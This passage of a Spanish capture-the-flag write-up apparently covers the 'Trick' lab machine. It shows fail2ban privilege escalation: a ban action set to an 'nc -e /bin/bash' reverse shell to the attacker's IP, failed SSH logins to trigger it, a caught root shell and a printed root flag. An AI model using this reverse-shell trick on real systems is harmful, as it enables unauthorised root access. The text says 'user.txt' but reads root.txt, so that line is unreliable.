actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'
actionban = /usr/bin/nc -e /bin/bash 10.10.17.44 4444
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>
[Init]
Ahora reiniciamos el servicio con sudo
:
michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
Y cuando el servidor nos bloquea la dirección IP, obtenemos una reverse shell. Para eso, tenemos que poner contraseñas erróneas en SSH:
$ ssh michael@10.10.11.166
michael@10.10.11.166's password:
Permission denied, please try again.
michael@10.10.11.166's password:
Permission denied, please try again.
michael@10.10.11.166's password:
michael@10.10.11.166: Permission denied (publickey,password).
Y obtenemos la conexión de vuelta:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.166.
Ncat: Connection from 10.10.11.166:51548.
script /dev/null -c bash
Script started, file is /dev/null
root@trick:/# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[2] - continued ncat -nlvp 4444
reset xterm
root@trick:/# export TERM=xterm
root@trick:/# export SHELL=bash
root@trick:/# stty rows 50 columns 158
Ahora que somos root
, podemos leer la flag user.txt
:
root@trick:/# cat /root/root.txt
2fe2e985794dd7cb023636997cefebeb